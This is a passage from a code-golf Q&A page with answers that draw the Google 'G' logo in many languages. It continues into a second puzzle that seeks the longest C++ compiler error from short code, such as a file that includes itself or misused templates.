1 || a == 2) c = 0xEA4335; else if (a == -1 || a == -2) c = 0x34A853; else if (a != 0) c = 0xFBBC05; pixels[y * n + x] = c; } } BufferedImage image = new BufferedImage(n, n, BufferedImage.TYPE_INT_RGB); image.setRGB(0, 0, n, n, pixels, 0, n); ImageIO.write(image, "png", new File("G.png")); } } ``` My implementation computes and draws raw pixels. It is possible to create an alternative implementation that uses high-level graphics routines like [Graphics2D](https://docs.oracle.com/javase/8/docs/api/java/awt/Graphics2D.html) and [Arc2D](https://docs.oracle.com/javase/8/docs/api/java/awt/geom/Arc2D.html) to do the drawing, especially with anti-aliasing. [Answer] # CJam, 141 ``` ri:M.5*:K5/:T;'P3NMSMN255NM2m*[K.5-_]f.-{:X:mh:IK>0{X~0<\zT>|{IT3*<0{X~>X~W*>:Z2+{Z{X0=TW*>}4?}?}?}1?}?}%"^^G_8:nEhB%P9IW@zA"102b256b3/f=:+N* ``` [Try it online](http://cjam.aditsu.net/#code=ri%3AM.5*%3AK5%2F%3AT%3B%27P3NMSMN255NM2m*%5BK.5-_%5Df.-%7B%3AX%3Amh%3AIK%3E0%7BX%7E0%3C%5CzT%3E%7C%7BIT3*%3C0%7BX%7E%3EX%7EW*%3E%3AZ2%2B%7BZ%7BX0%3DTW*%3E%7D4%3F%7D%3F%7D%3F%7D1%3F%7D%3F%7D%25%22%5E%5EG_8%3AnEhB%25P9IW%40zA%22102b256b3%2Ff%3D%3A%2BN*&input=40) Outputs the image in ASCII ppm format. For an ASCII-art version that's nicer to look at in the browser, try [this code](http://cjam.aditsu.net/#code=ri%3AM.5*%3AK5%2F%3AT%3BM2m*%5BK.5-_%5Df.-%7B%3AX%3Amh%3AIK%3E0%7BX%7E0%3C%5CzT%3E%7C%7BIT3*%3C0%7BX%7E%3EX%7EW*%3E%3AZ2%2B%7BZ%7BX0%3DTW*%3E%7D4%3F%7D%3F%7D%3F%7D1%3F%7D%3F%7D%25M%2FN*&input=40). It helps visualize the algorithm too. **Explanation:** ``` ri:M read input, convert to int and store in M .5*:K multiply by 0.5 and store in K (M/2) 5/:T; divide by 5 and store in T (M/10) and pop 'P3NMSMN255N ppm header (N=newline, S=space) M2m* generate all pixel coordinates - pairs of numbers 0..M-1 [K.5-_] push the center (coordinates K-0.5, K-0.5) f.- subtract the center from every pixel {…}% map (transform) the array of coordinate pairs :X store the current pair in X :mh:I calculate the hypotenuse of X (distance from the center) and store in I K>0 if I>K (outside the big circle), push 0 {…} else… X~ dump X's coordinates (row, column) 0< check if the column is <0 \zT>| or the absolute value of the row is >T {…} if true (outside the G bar)… IT3*<0 if I<T*3 (inside the small circle) push 0 {…} else (between the circles)… X~> dump X and check if row>column (diagonal split) X~W*>:Z also check if row>-column (other diagonal) and store in Z (W=-1) 2+ if in lower-left half, push Z+2 (2 for left, 3 for bottom) {…} else (upper-right half)… Z{…} if it's in the right quadrant X0= get the row coordinate of X TW*> compare with -T, resulting in 0 (above the bar) or 1 4 else (top quadrant) push 4 ? end if ? end if ? end if 1 else (inside the G bar) push 1 ? end if ? end if "^^G … @zA" push a string containing the 5 colors encoded 102b convert from base 102 to a big number (ASCII values of chars are treated as base-102 digits) 256b convert to base 256, splitting into 15 bytes 3/ split into triplets (RGB) f= replace each generated number (0..4) with the corresponding color triplet :+N* join all the triplets, and join everything with newlines ``` [Answer] ## Go, 379 bytes ``` import ."fmt" func f(a int)(s string){ m:=map[string]float64{"fbbc05":-45,"ea4335":45,"4285f4":168.5,"34a853":225} for k,v:=range m{s+=Sprintf("<use xlink:href=#c fill=#%v transform=rotate(%v,5,5) />",k,v)} return Sprintf("<svg width=%v viewBox=0,0,10,10><def><path id=c d=M0,5A5,5,0,0,1,5,0V2A3,3,0,0,0,2,5 /></def>%v<rect x=5 y=4 fill=#4285f4 width=4.9 height=2 /></svg>",a,s)} ``` The function `f` takes a single `int` argument (the scale factor) and outputs an SVG image scaled appropriately. [Try it online](http://ideone.com/fork/z5vIdp) at Ideone. Example output: ``` <svg width=333 viewBox=0,0,10,10><def><path id=c d=M0,5A5,5,0,0,1,5,0V2A3,3,0,0,0,2,5 /></def><use xlink:href=#c fill=#34a853 transform=rotate(225,5,5) /><use xlink:href=#c fill=#fbbc05 transform=rotate(-45,5,5) /><use xlink:href=#c fill=#ea4335 transform=rotate(45,5,5) /><use xlink:href=#c fill=#4285f4 transform=rotate(168.5,5,5) /><rect x=5 y=4 fill=#4285f4 width=4.9 height=2 /></svg> ``` It seems wrong to appease our Google overlords in any programming language except their own. [Answer] # FreeMarker+HTML/CSS, 46 + 468 = 514 bytes HTML: ``` <div><div></div><div></div><span></span></div> ``` CSS: ``` div div,div span{position:absolute}div{width:10px;height:10px;box-sizing:border-box;transform-origin:top left;position:relative;transform:scale(${n*.1})}div div{border:2px solid;border-radius:9px;border-color:transparent #4285f4 transparent transparent;transform:rotate(33.4630409671deg);transform-origin:center}div div+div{border-color:#ea4335 transparent #34a853 #fbbc05;transform:none}div span{display:block;top:4px;bottom:4px;left:5px;right:.1px;background:#4285f4} ``` Assuming the FreeMarker processor is executed with a variable `n` set, representing input. ## Explanation of magic numbers: Everything is based on a 10x10px wrapper, then scaled by `n/10`. * Distance to right of blue horizontal box [px]: 5 - sqrt(5^2 - 1^2) = **0.10102051443** ([Pythagoras](https://en.wikipedia.org/wiki/Pythagorean_theorem)) * Rotation of blue arc [deg]: 45 - arcSin(1/5) = **33.4630409671** ([Sine](https://en.wikipedia.org/wiki/Sine)) ## [Ungolfed JSFiddle](https://jsfiddle.net/b5kbp9vj/10/) [Answer] # 343 octets of Haskell ``` roman@zfs:~$ cat ppmG.hs ppmG n='P':unlines(map show([3,n,n,255]++concat[ case map signum[m^2-(2*x-m)^2-(2*y-m)^2, (10*x-5*m)^2+(10*y-5*m)^2-(3*m)^2, m-x-y,x-y,5*y-2*m,3*m-5*y,2*x-m]of 1:1:1:1:_->[234,67,53] 1:1:1:_->[251,188,5] [1,_,_,_,1,1,1]->[66,133,244] 1:1:_:1:1:_->[66,133,244] 1:1:_:_:1:_->[52,168,83] _->[255,255,255]|m<-[n-1],y<-[0..m],x<-[0..m]])) roman@zfs:~$ wc ppmG.hs 10 14 343 ppmG.hs roman@zfs:~$ ghc ppmG.hs -e 'putStr$ppmG$42'|ppmtoxpm ppmtoxpm: (Computing colormap... ppmtoxpm: ...Done. 5 colors found.) /* XPM */ static char *noname[] = { /* width height ncolors chars_per_pixel */ "42 42 6 1", /* colors */ " c #4285F4", ". c #EA4335", "X c #FBBC05", "o c #34A853", "O c #FFFFFF", "+ c None", /* pixels */ "OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO", "OOOOOOOOOOOOOOO............OOOOOOOOOOOOOOO", "OOOOOOOOOOOO..................OOOOOOOOOOOO", "OOOOOOOOOO......................OOOOOOOOOO", "OOOOOOOOO........................OOOOOOOOO", "OOOOOOOO..........................OOOOOOOO", "OOOOOOO............................OOOOOOO", "OOOOOOXX..........................OOOOOOOO", "OOOOOXXXX........................OOOOOOOOO", "OOOOXXXXXX.......OOOOOOOO.......OOOOOOOOOO", "OOOXXXXXXXX....OOOOOOOOOOOO....OOOOOOOOOOO", "OOOXXXXXXXXX.OOOOOOOOOOOOOOOO.OOOOOOOOOOOO", "OOXXXXXXXXXXOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO", "OOXXXXXXXXXOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO", "OOXXXXXXXXXOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO", "OXXXXXXXXXOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO", "OXXXXXXXXXOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO", "OXXXXXXXXOOOOOOOOOOOO O", "OXXXXXXXXOOOOOOOOOOOO O", "OXXXXXXXXOOOOOOOOOOOO O", "OXXXXXXXXOOOOOOOOOOOO O", "OXXXXXXXXOOOOOOOOOOOO O", "OXXXXXXXXOOOOOOOOOOOO O", "OXXXXXXXXOOOOOOOOOOOO O", "OXXXXXXXXOOOOOOOOOOOO O", "OXXXXXXXXXOOOOOOOOOOOOOOOOOOOOOO O", "OXXXXXXXXXOOOOOOOOOOOOOOOOOOOOOO O", "OOXXXXXXXXXOOOOOOOOOOOOOOOOOOOO OO", "OOXXXXXXXXXOOOOOOOOOOOOOOOOOOOO OO", "OOXXXXXXXXXXOOOOOOOOOOOOOOOOOO OO", "OOOXXXXXXXXooOOOOOOOOOOOOOOOOoo OOO", "OOOXXXXXXXoooooOOOOOOOOOOOOooooo OOO", "OOOOXXXXXooooooooOOOOOOOOoooooooo OOOO", "OOOOOXXXoooooooooooooooooooooooooo OOOOO", "OOOOOOXoooooooooooooooooooooooooooo OOOOOO", "OOOOOOOooooooooooooooooooooooooooooOOOOOOO", "OOOOOOOOooooooooooooooooooooooooooOOOOOOOO", "OOOOOOOOOooooooooooooooooooooooooOOOOOOOOO", "OOOOOOOOOOooooooooooooooooooooooOOOOOOOOOO", "OOOOOOOOOOOOooooooooooooooooooOOOOOOOOOOOO", "OOOOOOOOOOOOOOOooooooooooooOOOOOOOOOOOOOOO", "OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO" }; ``` ## Explanation * "P3" == [plaintext portable pixmap](http://netpbm.sourceforge.net/doc/ppm.html) * [show](http://hackage.haskell.org/package/base-4.9.0.0/docs/Prelude.html#v:show) == produce ASCII decimals fearing UTF-8 corruption for "\xFF\xFF\xFF" * [unlines](http://hackage.haskell.org/package/base-4.9.0.0/docs/Prelude.html#v:unlines) == separate decimals into lines * m = n-1 for symmetry in n==length[0..m] * m²-(2x-m)²-(2y-m)²>0 == (x-m/2)² + (y-m/2)² < (m/2)² == insideOuterCircle * (10x-5m)²+(10y-5m)²-(3m)²>0 == (x-m/2)² + (y-m/2)² > (m3/10)² == outsideInnerCircle * m-x-y>0 == x+y < m == inUpperLeft * x-y>0 == x > y == inUpperRight * 5y-2m>0 == y > m2/5 == belowGbarTop * 3y-5y>0 == y < m3/5 == aboveGbarBot * 2x-m>0 == x > m/2 == inRightHalf * [234,67,53] == red * [251,188,5] == yellow * [52,168,83] == green * [66,13,244] == blue * [255,255,255] == white [Answer] # SAS - ~~590~~ ~~536~~ 521 bytes This uses the [GTL Annotation facility](http://support.sas.com/documentation/cdl/en/grstatproc/67909/HTML/default/p1wi4yti5mcg06n1ss0onifod94t.htm). Input is specified in a macro variable on the first line. For a few extra bytes you can define the whole thing as a macro. It still sneaks in below Java and a few of the HTML answers, even though you have to define a null graph template just to be able to plot anything at all! I've left the line breaks in for a modicum of readability, but I'm not counting those towards the total as it works without them. ``` %let R=; %let F=FILLCOLOR; ods graphics/width=&R height=&R; proc template; define statgraph a; begingraph; annotate; endgraph; end; data d; retain FUNCTION "RECTANGLE" DISPLAY "FILL" DRAWSPACE "graphPERCENT"; length &F$8; _="CX4285F4"; P=100/&R; HEIGHT=P; width=P; do i=1to &R; x1=i*P; U=x1-50; do j=1to &R; y1=j*P; V=y1-50; r=euclid(U,V); &F=""; if 30<=r<=50then if V>U then if V>-U then &F="CXEA4335"; else &F="CXFBBC05"; else if V<-U then &F="CX34A853"; else if V<10then &F=_; if &F>'' then output; end; end; x1=65; y1=50; width=30; height=20; &F=_; output; proc sgrender sganno=d template=a; ``` **Edit:** shaved off a few more bytes via use of macro vars, default settings and choice of operators. **Edit 2:** got rid of the `do-end` blocks for the `if-then-else` logic and it somehow still works - I don't entirely understand how. Also, I discovered the `euclid` function! [Answer] # SCSS - 415 bytes Takes input as `$N: 100px;` and `<div id="logo"></div>`, not sure if these should count in the total though... ``` $d:$N*.6;$b:$d/3;#logo{width:$d;height:$d;border:$b solid;border-color:#ea4335 transparent #34a853 #fbbc05;border-radius:50%;position:relative;&:before,&:after{content:'';position:absolute;right:-$b;top:50%;border:0 solid transparent}&:before{width:$b*4;height:$d/2;border-width:0 $b $b 0;border-right-color:#4285f4;border-bottom-right-radius:50% 100%}&:after{width:$N/2;margin:-$b/2 0;border-top:$b solid #4285f4}} ``` [Demo on JSFiddle](https://jsfiddle.net/q93dtgwr/) [Answer] # [Haskell](https://www.haskell.org/) with [JuicyPixels](https://hackage.haskell.org/package/JuicyPixels) package, 306 bytes ``` import Codec.Picture p=PixelRGB8 c=fromIntegral b=p 66 133 244 w=p 255 255 255 (n%x)y|y<=x,x+y<=n=p 234 67 53|y>x,x+y<=n=p 251 188 5|y>x,x+y>n=p 52 168 83|y>=0.4*n=b|1>0=w (n#x)y|d<=h,d>=0.3*n=n%x$y|x>=h,d<=h,abs(y-h)<=n/10=b|1>0=w where h=n/2;d=sqrt$(x-h)^2+(y-h)^2 f n=generateImage(\x y->c n#c x$c y)n n ``` Usage example: ``` main = writePng "google.png" $ f 1001 ``` This could probably be improved. The idea is to pass a function to `generateImage` that selects the pixel (color really) that should go at position x, y. For that we use a lambda that adds `n` as a parameter and converts them all to floats at the same time. The `#` function basically checks if we're in the ring, the bar, or neither. If it's the ring we pass the baton to `%`, if the bar we just return blue, otherwise white. `%` checks which quadrant we're in and returns the appropriate color if it isn't blue. Blue is a special case since we need to make sure it doesn't wrap around to the red, so we only return blue if `y` is below the "bar line" otherwise we return white. That's the general overview. [Answer] # JavaScript + HTML, 241 bytes 228 bytes for JavaScript + 13 bytes for HTML ``` ( // code start n=>{with(c.getContext`2d`)['#4285f4','#34a853','#fbbc05','#ea4335'].map((c,i)=>{beginPath(fillStyle=strokeStyle=c,lineWidth=n/5,a=Math.PI/2);arc(h=n/2,h,r=n*.4,j=i*a-a/2,j+a);stroke();i||clearRect(0,0,n,r)+fillRect(h,r,r,n/5)})} // code end )(100); ``` ``` <canvas id=c> ``` [Answer] # Processing.py - 244 bytes + 1 byte for number of digits in N Let's start with the code. This can be pasted in the Processing environment and ran (changing `N` for different sizes). ``` N=400 n=N/2 f=fill a=['#34A853','#FBBC05','#EA4335','#4285F4'] def setup(): size(N,N);noStroke() def draw(): for i in 1,3,5,7: f(a[i/2]);arc(n,n,N,N,i*PI/4+[0,.59][i>6],(i+2)*PI/4) f(205);ellipse(n,n,.6*N,.6*N);f(a[3]);rect(n,n-.1*N,.98*n,.2*N) ``` Small cheat: the circle that *cut's out* a part from the logo is drawn in Processing's grayscale shade 205, which is the default background color. Exporting this to an image wouldn't look the same. This saves a call to `background(255)`. ### Explanation ``` N=400 # set size n=N/2 # precompute center point f=fill # 3 usages, saves 3 bytes a=['#34A853','#FBBC05','#EA4335','#4285F4'] # list of colors def setup(): # called when starting sketch size(N,N) # set size noStroke() # disable stroking def draw(): # drawing loop for i in 1,3,5,7: # loop over increments of PI/4 f(a[i/2]) # set fill color using integer # division arc(n,n,N,N,i*PI/4+[0,.59][i>6],(i+2)*PI/4) # draw a pizza slice between # two coordinates. The # [0,.59][i>6] # accounts for the white part f(205) # set fill color to Processing's # default background ellipse(n,n,.6*N,.6*N) # cut out center f(a[3]) # set fill to blue rect(n,n-.1*N,.98*n,.2*N) # draw the straight part ``` ## Examples `N` = 400 [![N=400](https://i.stack.imgur.com/WNgRW.png)](https://i.stack.imgur.com/WNgRW.png) `N` = 13 (Processing's minimum size is 100x100) [![enter image description here](https://i.stack.imgur.com/Iyin4.png)](https://i.stack.imgur.com/Iyin4.png) ## Note If we allow us to manually edit in multiple values for `N` the explicit calls to `setup` and `draw` are not needed and it is down to 213 bytes + 3 bytes per digit in `N`. ``` N=200 size(200,200) n=N/2 f=fill a=['#34A853','#FBBC05','#EA4335','#4285F4'] noStroke() for i in 1,3,5,7:f(a[i/2]);arc(n,n,N,N,i*PI/4+[0,.59][i>6],(i+2)*PI/4) f(205);ellipse(n,n,.6*N,.6*N);f(a[3]);rect(n,n-.1*N,.98*n,.2*N) ``` ]
[Question] [ Write a short program, that would generate the longest possible error message, in a standard C++ compiler (`gcc`, `cl.exe`, `icc`, or `clang`). The score of each entry is the number of characters in the longest error message the compiler emitted. Types included in your source code and quoted by the compiler are counted as a single character. **Cheating** You can always redefine a template in template in template with long names, but I expect something creative. I tried to prevent some of that by the last rule, but of course the rules can be better, and I'll be glad for improvements. [Answer] **19 characters** Create a file `a.cpp` with this content : ``` #include __FILE__ p; ``` Compile as : ``` g++ a.cpp ``` and get amazing **21300 lines error** messages : ``` In file included from a.cpp:1:0, from a.cpp:1, from a.cpp:1, from a.cpp:1, ``` ... **... 21280 error lines ...** ... ``` In file included from a.cpp:1:0, from a.cpp:1, from a.cpp:1, from a.cpp:1, from a.cpp:1: a.cpp:2:1: error: ‘p’ does not name a type In file included from a.cpp:1:0, from a.cpp:1, from a.cpp:1, from a.cpp:1: a.cpp:2:1: error: ‘p’ does not name a type In file included from a.cpp:1:0, from a.cpp:1, from a.cpp:1: a.cpp:2:1: error: ‘p’ does not name a type In file included from a.cpp:1:0, from a.cpp:1: a.cpp:2:1: error: ‘p’ does not name a type In file included from a.cpp:1:0: a.cpp:2:1: error: ‘p’ does not name a type a.cpp:2:1: error: ‘p’ does not name a type ``` [Answer] Template error messages are fun to decipher. Consider this: ``` #include <vector> #include <algorithm> int main() { int a; std::vector< std::vector <int> > v; std::vector< std::vector <int> >::const_iterator it = std::find( v.begin(), v.end(), a ); } ``` Compiling with `gcc -c error.cpp` (4.6.3) will produce 15786 bytes of output, with a longest line of 330 characters. ``` In file included from /usr/include/c++/4.6/algorithm:63:0, from error_code.cpp:2: /usr/include/c++/4.6/bits/stl_algo.h: In function ‘_RandomAccessIterator std::__find(_RandomAccessIterator, _RandomAccessIterator, const _Tp&, std::random_access_iterator_tag) [with _RandomAccessIterator = __gnu_cxx::__normal_iterator*, std::vector > >, _Tp = int]’: /usr/include/c++/4.6/bits/stl_algo.h:4403:45: instantiated from ‘_IIter std::find(_IIter, _IIter, const _Tp&) [with _IIter = __gnu_cxx::__normal_iterator*, std::vector > >, _Tp = int]’ error_code.cpp:8:89: instantiated from here /usr/include/c++/4.6/bits/stl_algo.h:162:4: error: no match for ‘operator==’ in ‘__first.__gnu_cxx::__normal_iterator::operator* [with _Iterator = std::vector*, _Container = std::vector >, __gnu_cxx::__normal_iterator::reference = std::vector&]() == __val’ /usr/include/c++/4.6/bits/stl_algo.h:162:4: note: candidates are: /usr/include/c++/4.6/bits/stl_pair.h:201:5: note: template bool std::operator==(const std::pair&, const std::pair&) /usr/include/c++/4.6/bits/stl_iterator.h:285:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:335:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/allocator.h:122:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/allocator.h:127:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/stl_vector.h:1273:5: note: template bool std::operator==(const std::vector&, const std::vector&) /usr/include/c++/4.6/ext/new_allocator.h:123:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::new_allocator&, const __gnu_cxx::new_allocator&) /usr/include/c++/4.6/bits/stl_iterator.h:805:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:799:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_algo.h:4403:45: instantiated from ‘_IIter std::find(_IIter, _IIter, const _Tp&) [with _IIter = __gnu_cxx::__normal_iterator*, std::vector > >, _Tp = int]’ error_code.cpp:8:89: instantiated from here /usr/include/c++/4.6/bits/stl_algo.h:166:4: error: no match for ‘operator==’ in ‘__first.__gnu_cxx::__normal_iterator::operator* [with _Iterator = std::vector*, _Container = std::vector >, __gnu_cxx::__normal_iterator::reference = std::vector&]() == __val’ /usr/include/c++/4.6/bits/stl_algo.h:166:4: note: candidates are: /usr/include/c++/4.6/bits/stl_pair.h:201:5: note: template bool std::operator==(const std::pair&, const std::pair&) /usr/include/c++/4.6/bits/stl_iterator.h:285:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:335:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/allocator.h:122:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/allocator.h:127:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/stl_vector.h:1273:5: note: template bool std::operator==(const std::vector&, const std::vector&) /usr/include/c++/4.6/ext/new_allocator.h:123:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::new_allocator&, const __gnu_cxx::new_allocator&) /usr/include/c++/4.6/bits/stl_iterator.h:805:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:799:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_algo.h:170:4: error: no match for ‘operator==’ in ‘__first.__gnu_cxx::__normal_iterator::operator* [with _Iterator = std::vector*, _Container = std::vector >, __gnu_cxx::__normal_iterator::reference = std::vector&]() == __val’ /usr/include/c++/4.6/bits/stl_algo.h:170:4: note: candidates are: /usr/include/c++/4.6/bits/stl_pair.h:201:5: note: template bool std::operator==(const std::pair&, const std::pair&) /usr/include/c++/4.6/bits/stl_iterator.h:285:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:335:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/allocator.h:122:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/allocator.h:127:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/stl_vector.h:1273:5: note: template bool std::operator==(const std::vector&, const std::vector&) /usr/include/c++/4.6/ext/new_allocator.h:123:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::new_allocator&, const __gnu_cxx::new_allocator&) /usr/include/c++/4.6/bits/stl_iterator.h:805:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:799:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_algo.h:174:4: error: no match for ‘operator==’ in ‘__first.__gnu_cxx::__normal_iterator::operator* [with _Iterator = std::vector*, _Container = std::vector >, __gnu_cxx::__normal_iterator::reference = std::vector&]() == __val’ /usr/include/c++/4.6/bits/stl_algo.h:174:4: note: candidates are: /usr/include/c++/4.6/bits/stl_pair.h:201:5: note: template bool std::operator==(const std::pair&, const std::pair&) /usr/include/c++/4.6/bits/stl_iterator.h:285:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:335:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/allocator.h:122:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/allocator.h:127:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/stl_vector.h:1273:5: note: template bool std::operator==(const std::vector&, const std::vector&) /usr/include/c++/4.6/ext/new_allocator.h:123:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::new_allocator&, const __gnu_cxx::new_allocator&) /usr/include/c++/4.6/bits/stl_iterator.h:805:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:799:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_algo.h:182:4: error: no match for ‘operator==’ in ‘__first.__gnu_cxx::__normal_iterator::operator* [with _Iterator = std::vector*, _Container = std::vector >, __gnu_cxx::__normal_iterator::reference = std::vector&]() == __val’ /usr/include/c++/4.6/bits/stl_algo.h:182:4: note: candidates are: /usr/include/c++/4.6/bits/stl_pair.h:201:5: note: template bool std::operator==(const std::pair&, const std::pair&) /usr/include/c++/4.6/bits/stl_iterator.h:285:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:335:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/allocator.h:122:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/allocator.h:127:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/stl_vector.h:1273:5: note: template bool std::operator==(const std::vector&, const std::vector&) /usr/include/c++/4.6/ext/new_allocator.h:123:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::new_allocator&, const __gnu_cxx::new_allocator&) /usr/include/c++/4.6/bits/stl_iterator.h:805:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:799:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_algo.h:186:4: error: no match for ‘operator==’ in ‘__first.__gnu_cxx::__normal_iterator::operator* [with _Iterator = std::vector*, _Container = std::vector >, __gnu_cxx::__normal_iterator::reference = std::vector&]() == __val’ /usr/include/c++/4.6/bits/stl_algo.h:186:4: note: candidates are: /usr/include/c++/4.6/bits/stl_pair.h:201:5: note: template bool std::operator==(const std::pair&, const std::pair&) /usr/include/c++/4.6/bits/stl_iterator.h:285:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:335:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/allocator.h:122:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/allocator.h:127:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/stl_vector.h:1273:5: note: template bool std::operator==(const std::vector&, const std::vector&) /usr/include/c++/4.6/ext/new_allocator.h:123:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::new_allocator&, const __gnu_cxx::new_allocator&) /usr/include/c++/4.6/bits/stl_iterator.h:805:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:799:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_algo.h:190:4: error: no match for ‘operator==’ in ‘__first.__gnu_cxx::__normal_iterator::operator* [with _Iterator = std::vector*, _Container = std::vector >, __gnu_cxx::__normal_iterator::reference = std::vector&]() == __val’ /usr/include/c++/4.6/bits/stl_algo.h:190:4: note: candidates are: /usr/include/c++/4.6/bits/stl_pair.h:201:5: note: template bool std::operator==(const std::pair&, const std::pair&) /usr/include/c++/4.6/bits/stl_iterator.h:285:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:335:5: note: template bool std::operator==(const std::reverse_iterator&, const std::reverse_iterator&) /usr/include/c++/4.6/bits/allocator.h:122:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/allocator.h:127:5: note: template bool std::operator==(const std::allocator&, const std::allocator&) /usr/include/c++/4.6/bits/stl_vector.h:1273:5: note: template bool std::operator==(const std::vector&, const std::vector&) /usr/include/c++/4.6/ext/new_allocator.h:123:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::new_allocator&, const __gnu_cxx::new_allocator&) /usr/include/c++/4.6/bits/stl_iterator.h:805:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) /usr/include/c++/4.6/bits/stl_iterator.h:799:5: note: template bool __gnu_cxx::operator==(const __gnu_cxx::__normal_iterator&, const __gnu_cxx::__normal_iterator&) ``` **Edit 2016-04-29:** gcc 5.3.0 got it a bit better: only 9300 bytes, longest line is 361 characters long... **Edit 2019-04-04:** gcc 6.5.0: 11237 bytes, but gives some hints on the error, as in theses lines: ``` error.cpp:7:92: required from here /usr/include/c++/6/bits/predefined_ops.h:199:17: error: no match for ‘operator==’ (operand types are ‘std::vector’ and ‘const int’) { return *__it == _M_value; } ~~~~~~^~~~~~~~~~~ ``` **Edit 2022-01-06:** gcc 7.5.0 (Ubuntu 18.04): 11405 bytes, still no real clue on what happens, unfortunately (which could be something like, say, `erroneous type 'int' as arg 3 for std::find(), expected type: 'std::vector<int>'` ). Oh, BTW, ratio error/code can even be increased by removing unnecessary stuff: ``` int main() { int a; std::vector< std::vector <int> > v; std::find( v.begin(), v.end(), a ); } ``` [Answer] Based on a message length / code length ratio, this may be the best solution: Message (81): ``` code: file not recognized: File truncated collect2: ld returned 1 exit status ``` *81 / 0 = Inf* [Answer] 98 (necessary) characters: ``` template<class T>struct W{T v;W(T v):v(v){}}; template<class T>int f(T x){f(W<T>(x));} main(){f(0);} ``` Produces the following error output in GCC (4.4.5): ``` golf.cpp: In function ‘int f(T) [with T = 